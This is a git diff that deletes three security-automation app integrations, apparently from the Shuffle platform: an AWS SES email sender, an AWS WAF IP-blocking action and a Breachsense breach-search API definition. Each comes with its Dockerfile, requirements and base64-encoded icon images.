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 diff --git a/aws-ses/1.0.0/requirements.txt b/aws-ses/1.0.0/requirements.txt deleted file mode 100644 index d46a14e7..00000000 --- a/aws-ses/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests==2.25.1 -boto3==1.16.59 \ No newline at end of file diff --git a/aws-ses/1.0.0/src/README.md b/aws-ses/1.0.0/src/README.md deleted file mode 100644 index 7f4da279..00000000 --- a/aws-ses/1.0.0/src/README.md +++ /dev/null @@ -1,5 +0,0 @@ -# AWS SES - -## Actions -1. Send_Email - Function which helps you to sent email from verified email address or domain. - diff --git a/aws-ses/1.0.0/src/app.py b/aws-ses/1.0.0/src/app.py deleted file mode 100644 index 6fd1dbd5..00000000 --- a/aws-ses/1.0.0/src/app.py +++ /dev/null @@ -1,129 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config - -from walkoff_app_sdk.app_base import AppBase - -class AWSSES(AppBase): - __version__ = "1.0.0" - app_name = "AWS ses" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth_ses(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = 'v4', - retries = { - 'max_attempts': 10, - 'mode': 'standard' - }, - ) - - self.ses = boto3.client( - 'ses', - config = my_config, - aws_access_key_id = access_key, - aws_secret_access_key = secret_key, - ) - - return self.ses - - def send_email(self, access_key, secret_key, region, source, toAddresses, ccAddresses, bccAddresses, replyToAddresses, subject_data, data_option, content, charset): - self.ses = self.auth_ses(access_key, secret_key, region) - client = self.ses - toAddresses = list(toAddresses.split(',')) - ccAddresses = list(ccAddresses.split(',')) - replyToAddresses = list(replyToAddresses.split(',')) - if '' in ccAddresses: - ccAddresses.clear() - bccAddresses = list(bccAddresses.split(',')) - if '' in bccAddresses: - bccAddresses.clear() - if '' in replyToAddresses: - replyToAddresses.clear() - - try: - if data_option == 'Text': - response = client.send_email( - Source= source, - Destination={ - 'ToAddresses': toAddresses, - 'CcAddresses': ccAddresses, - 'BccAddresses': bccAddresses - }, - Message={ - 'Subject': { - 'Data': subject_data, - 'Charset': charset - }, - 'Body': { - 'Text': { - 'Data': content, - 'Charset': charset - }, - } - }, - ReplyToAddresses = replyToAddresses, - ) - return response - else: - response = client.send_email( - Source= source, - Destination={ - 'ToAddresses': toAddresses, - 'CcAddresses': ccAddresses, - 'BccAddresses': bccAddresses - }, - Message={ - 'Subject': { - 'Data': subject_data, - 'Charset': charset - }, - 'Body': { - 'Html': { - 'Data': content, - 'Charset': charset - }, - } - }, - ReplyToAddresses = replyToAddresses, - ) - return response - except Exception as e: - return e - - def verify_domain_identity(self, access_key, secret_key, region, domain): - self.ses = self.auth_ses(access_key, secret_key, region) - client = self.ses - try: - return client.verify_domain_identity( - Domain=domain - ) - except Exception as e: - return e - - def verify_email_identity(self, access_key, secret_key, region, emailAddress): - self.ses = self.auth_ses(access_key, secret_key, region) - client = self.ses - try: - return client.verify_email_identity( - EmailAddress = emailAddress - ) - except Exception as e: - return e - -if __name__ == "__main__": - AWSSES.run() diff --git a/aws-waf/1.0.0/Dockerfile b/aws-waf/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/aws-waf/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/aws-waf/1.0.0/api.yaml b/aws-waf/1.0.0/api.yaml deleted file mode 100644 index 12c93316..00000000 --- a/aws-waf/1.0.0/api.yaml +++ /dev/null @@ -1,54 +0,0 @@ -app_version: 1.0.0 -name: AWS WAF -description: An app to interact with Amazon WAF -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -tags: - - Network -categories: - - Network -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: block_ip_waf - description: Blocks an IP in the AWS WAF - parameters: - - name: ipset_name - description: The IP Set to ue - required: true - multiline: false - example: 'my-ipset' - schema: - type: string - - name: ip - description: The IP to block - required: true - multiline: false - example: '1.2.3.4' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/jpg;base64,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 diff --git a/aws-waf/1.0.0/requirements.txt b/aws-waf/1.0.0/requirements.txt deleted file mode 100644 index f9c46b04..00000000 --- a/aws-waf/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -boto3==1.16.59 -requests==2.25.1 diff --git a/aws-waf/1.0.0/src/app.py b/aws-waf/1.0.0/src/app.py deleted file mode 100644 index fcaeb0bc..00000000 --- a/aws-waf/1.0.0/src/app.py +++ /dev/null @@ -1,208 +0,0 @@ -import sys -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config - -from walkoff_app_sdk.app_base import AppBase - -class AWSEC2(AppBase): - __version__ = "1.0.0" - app_name = "AWS WAF" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = 'v4', - retries = { - 'max_attempts': 10, - 'mode': 'standard' - }, - ) - - return boto3.client('wafv2', config=my_config, aws_access_key_id=access_key, aws_secret_access_key=secret_key) - - # Write your data inside this function - def block_ip_waf(self, access_key, secret_key, region, ipset_name, ip): - #ret = block_ip_waf (access_key, secret_key, region, ipset_name, ip) - - client = self.auth(access_key, secret_key, region) - scope = "REGIONAL" - if "/" not in ip: - ip = "%s/32" % ip - - # 1. Handle IP setting - arn = "" - try: - response = client.create_ip_set( - Name=ipset_name, - Scope=scope, - IPAddressVersion='IPV4', - Addresses=[ - ip, - ], - ) - - arn = response["Summary"]["ARN"] - print("AFTER ARN GRAB FROM IPSET CREATION - pre sleep") - time.sleep(1) - except: - #print("IN EXCEPT") - #print(sys.exc_info()[0]) - #print(sys.exc_info()[1]) - info = str(sys.exc_info()[0]) - #print("INFO: %s" % info) - if info == "": - #print("IT EQUALS!") - return "Failed to create ip set: %s" % info - - print("IP rule set %s already exists" % ipset_name) - response = client.list_ip_sets( - Scope='REGIONAL', - Limit=100 - ) - - selected = {} - for item in response["IPSets"]: - if item["Name"] == ipset_name: - selected = item - break - - try: - item_id = selected["Id"] - except KeyError: - return "Couldn't find ipset for name %s" % ipset_name - - new_resp = client.get_ip_set( - Name=ipset_name, - Id=item_id, - Scope=scope, - ) - - arn = new_resp["IPSet"]["ARN"] - found = False - for address in new_resp["IPSet"]["Addresses"]: - if address == ip: - found = True - break - #return "%s is already in this WAF rule" % ip - - if not found: - new_resp["IPSet"]["Addresses"].append(ip) - update_resp = client.update_ip_set( - Name = new_resp["IPSet"]["Name"], - Scope = scope, - Id = new_resp["IPSet"]["Id"], - LockToken = new_resp["LockToken"], - Addresses = new_resp["IPSet"]["Addresses"], - ) - - # 2: Handle rule group creation - #arn = "arn:aws:wafv2:ap-northeast-1:202262580068:regional/ipset/shuffle-test/f2a8df33-82cf-4a9e-8601-880023c617a6" - updateRule = { - 'Name': ipset_name, - 'Priority': 1, - 'Statement': { - 'IPSetReferenceStatement': { - "ARN": arn, - 'IPSetForwardedIPConfig': { - 'HeaderName': "ANY", - 'FallbackBehavior': 'MATCH', - 'Position': 'ANY' - }, - }, - }, - "Action": { - "Block": {}, - }, - "VisibilityConfig": { - 'SampledRequestsEnabled': False, - 'CloudWatchMetricsEnabled': True, - 'MetricName': 'string' - }, - } - try: - outerresponse = client.create_rule_group( - Name=ipset_name, - Scope=scope, - Capacity=99, - Rules=[updateRule], - VisibilityConfig={ - 'SampledRequestsEnabled': False, - 'CloudWatchMetricsEnabled': True, - 'MetricName': 'string' - }, - ) - - print("Rule group creation: %s" % outerresponse) - except: - print("Rule group %s already exists" % ipset_name) - # Get the rule - get_groups = client.list_rule_groups( - Scope=scope, - Limit=100, - ) - - cur_rule = {} - for rule in get_groups["RuleGroups"]: - #print("Rule: %s" % rule) - if rule["Name"] == ipset_name: - cur_rule = rule - break - - try: - if cur_rule["Name"] == ipset_name: - pass - except KeyError: - return "Couldn't find rule group %s" % ipset_name - - get_group = client.get_rule_group( - Scope=scope, - Id=cur_rule["Id"], - Name=cur_rule["Name"], - ) - - found = False - for rule in get_group["RuleGroup"]["Rules"]: - try: - if rule["Name"] == ipset_name: - # ["Statement"]["IPSetReferenceStatement"]["ARN"] == arn: - return "Successfully blocked %s in WAF (2)" % ip - except KeyError as e: - print("Keyerror: %s" % e) - - rules = get_group["RuleGroup"]["Rules"] - rules.append(updateRule) - - # If here, add it to the group - update_group = client.update_rule_group( - Name=get_group["RuleGroup"]["Name"], - Scope=scope, - Id=get_group["RuleGroup"]["Id"], - LockToken=get_group["LockToken"], - Rules=rules, - VisibilityConfig={ - 'SampledRequestsEnabled': False, - 'CloudWatchMetricsEnabled': True, - 'MetricName': 'string' - }, - ) - - return "Successfully blocked %s in WAF (4)" % ip - - -if __name__ == "__main__": - AWSEC2.run() diff --git a/breachsense/1.0.0/Dockerfile b/breachsense/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/breachsense/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/breachsense/1.0.0/api.yaml b/breachsense/1.0.0/api.yaml deleted file mode 100644 index 32ea3a8f..00000000 --- a/breachsense/1.0.0/api.yaml +++ /dev/null @@ -1,110 +0,0 @@ -app_version: 1.0.0 -name: breachsense -description: App to interact with Breachsense - https://breachsense.io/doc -contact_info: - name: "@davedhaval" - url: https://www.infopercept.com - email: dhavald@infopercept.com -tags: - - Darkweb - - Data breach Monitor -categories: - - Assets -authentication: - required: true - parameters: - - name: api_key - description: The API key to use - example: "*****" - required: true - schema: - type: string -actions: - - name: Basic_search - description: Just a simple search - parameters: - - name: search_term - description: search term - e.g. example.com or john@example.com - required: true - example: "abx@xyz.com" - schema: - type: string - - name: date - description: only display results newer that this value. Value set in YYYYMMDD format - example: "20210820" - required: false - schema: - type: string - - name: Display_Description - description: Display a short description of the breach - parameters: - - name: search_term - description: search term - e.g. example.com or john@example.com - required: true - example: "abx@xyz.com" - schema: - type: string - - name: date - description: only display results newer that this value. Value set in YYYYMMDD format - example: "20210820" - required: false - schema: - type: string - - name: Strict_search - description: Display a short description of the breach - parameters: - - name: search_term - description: search term - e.g. example.com or john@example.com - required: true - example: "abx@xyz.com" - schema: - type: string - - name: date - description: only display results newer that this value. Value set in YYYYMMDD format - example: "20210820" - required: false - schema: - type: string - - name: Domain_Monitor - description: manage monitored domains - parameters: - - name: action - description: must be set to add, del or list - required: true - example: "add, del or list" - schema: - type: string - - name: domain - description: add/delete the domain you wish to monitor - example: "example.com" - required: false - schema: - type: string - - name: Custom_search - description: Supply custom switch - parameters: - - name: search_term - description: search term - e.g. example.com or john@example.com - required: true - example: "abx@xyz.com" - schema: - type: string - - name: date - description: only display results newer that this value. Value set in YYYYMMDD format - example: "20210820" - required: false - schema: - type: string - - name: extra_Params - description: only display results newer that this value. Value set in YYYYMMDD format - example: "list&uniq&hash&p=2" - required: true - schema: - type: string - - name: Check_credits - description: return the number of remaining monthly queries allowed - parameters: - required: false - schema: - type: string -large_image: data:image/png;base64,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